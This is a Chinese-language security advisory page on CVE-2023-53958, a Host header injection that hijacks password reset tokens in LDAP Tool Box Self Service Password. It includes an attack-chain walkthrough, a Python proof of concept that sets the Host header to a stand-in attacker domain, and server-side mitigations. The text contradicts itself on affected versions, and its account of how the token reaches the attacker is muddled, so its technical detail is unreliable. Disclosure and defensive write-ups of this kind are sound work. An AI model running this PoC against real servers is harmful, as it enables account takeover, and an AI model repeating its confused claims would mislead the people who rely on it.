IPBUF安全漏洞报告
English
CVE-2023-53958 CVSS 7.5 高危

CVE-2023-53958: LDAP Tool Box Self Service Password HTTP Host头操纵账户接管漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2023-53958
漏洞类型
HTTP Host头注入/密码重置令牌劫持
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LDAP Tool Box Self Service Password

相关标签

CVE-2023-53958HTTP Host头注入密码重置漏洞账户接管LDAPSelf Service Password高危漏洞认证绕过

漏洞概述

CVE-2023-53958是LDAP Tool Box Self Service Password 1.5.2版本中的一个高危安全漏洞。该漏洞存在于密码重置功能模块,攻击者可以通过操纵HTTP Host头来实现令牌劫持,进而可能导致目标账户被完全接管。Self Service Password是一个基于Web的LDAP目录服务密码管理工具,广泛应用于企业环境中用于自助式密码重置和账户管理。由于该工具通常部署在企业内网环境中,并且处理敏感的身份认证凭据,因此此类漏洞可能造成严重的安全风险。攻击者无需任何前期认证即可利用此漏洞,仅需构造特殊的HTTP请求即可将密码重置令牌重定向至攻击者控制的服务器。一旦攻击者获取到有效的重置令牌,即可绕过正常的安全验证流程,冒充合法用户重置密码并获得账户访问权限。该漏洞的CVSS评分为7.5,属于高危级别,主要威胁机密性。

技术细节

该漏洞的根本原因在于Self Service Password在生成密码重置令牌时未正确验证和限制HTTP Host头的使用。应用程序直接使用请求中的Host头值来构建重置链接,而没有进行充分的输入验证或使用可信的域名配置。当用户发起密码重置请求时,服务器生成的包含令牌的URL会包含攻击者指定的Host值,导致令牌被发送到攻击者控制的服务器。具体攻击过程如下:攻击者首先向目标服务器的密码重置端点发送请求,在请求中精心构造Host头为其控制的恶意域名。服务器处理请求时,会使用攻击者指定的Host值生成密码重置URL,并将包含令牌的消息发送至攻击者邮箱或直接通过URL传递。由于生成的令牌与用户账户相关联,攻击者获取令牌后即可在重置页面提交新密码,从而完成账户接管。整个过程无需用户交互,攻击者可以在任意时间发起攻击。防御措施包括:在服务器配置中明确指定可信的域名白名单,对Host头进行严格验证,以及使用绝对URL而非依赖请求Host头。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用LDAP Tool Box Self Service Password,并确定密码重置功能的入口点
STEP 2
步骤2: 构造恶意请求
攻击者构造包含精心设计的HTTP Host头的密码重置请求,将Host值设置为攻击者控制的域名
STEP 3
步骤3: 发送重置请求
攻击者向目标服务器的密码重置端点发送POST请求,携带攻击者指定的Host头和目标用户登录名
STEP 4
步骤4: 服务器处理
服务器使用请求中的Host头值生成密码重置链接,链接中包含针对攻击者域名的URL
STEP 5
步骤5: 令牌劫持
密码重置令牌或包含令牌的链接被发送至攻击者控制的服务器,攻击者成功获取有效令牌
STEP 6
步骤6: 账户接管
攻击者使用获取的令牌在重置页面提交新密码,完成对目标用户账户的完全接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2023-53958 PoC - HTTP Host Header Manipulation # LDAP Tool Box Self Service Password Password Reset Token Hijacking target_url = "http://target-server/self-service-password" attacker_domain = "attacker-controlled-server.com" def exploit_host_header_injection(): """ Exploit CVE-2023-53958 by manipulating HTTP Host header during password reset token generation. """ # Step 1: Request password reset with manipulated Host header reset_endpoint = f"{target_url}/inc/functions.inc.php" headers = { 'Host': attacker_domain, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'text/html,application/xhtml+xml', 'Content-Type': 'application/x-www-form-urlencoded' } data = { 'login': 'target_user', 'mail': '[email protected]', 'action': 'sendtoken' } # Send password reset request with malicious Host header response = requests.post( reset_endpoint, headers=headers, data=data, allow_redirects=False, verify=False ) print(f"[*] Request sent to {target_url}") print(f"[*] Manipulated Host header: {attacker_domain}") print(f"[*] Response status: {response.status_code}") # The reset token will be sent to attacker-controlled server # Attacker's server should capture the token from the Host header return response if __name__ == "__main__": print("="*60) print("CVE-2023-53958 - HTTP Host Header Injection PoC") print("="*60) exploit_host_header_injection()

影响范围

LDAP Tool Box Self Service Password < 1.5.2

防御指南

临时缓解措施
在Web服务器(如Apache、Nginx)中配置Host头白名单,只允许来自可信域名的请求。对于Apache,可在VirtualHost配置中使用"Use CanonicalName socket"或显式设置ServerName。对于Nginx,可使用"server_name"指令并配置default_server,同时添加针对Host头的正则验证规则。临时措施包括在应用配置中硬编码正确的URL基础路径,避免依赖HTTP请求中的Host头动态生成链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表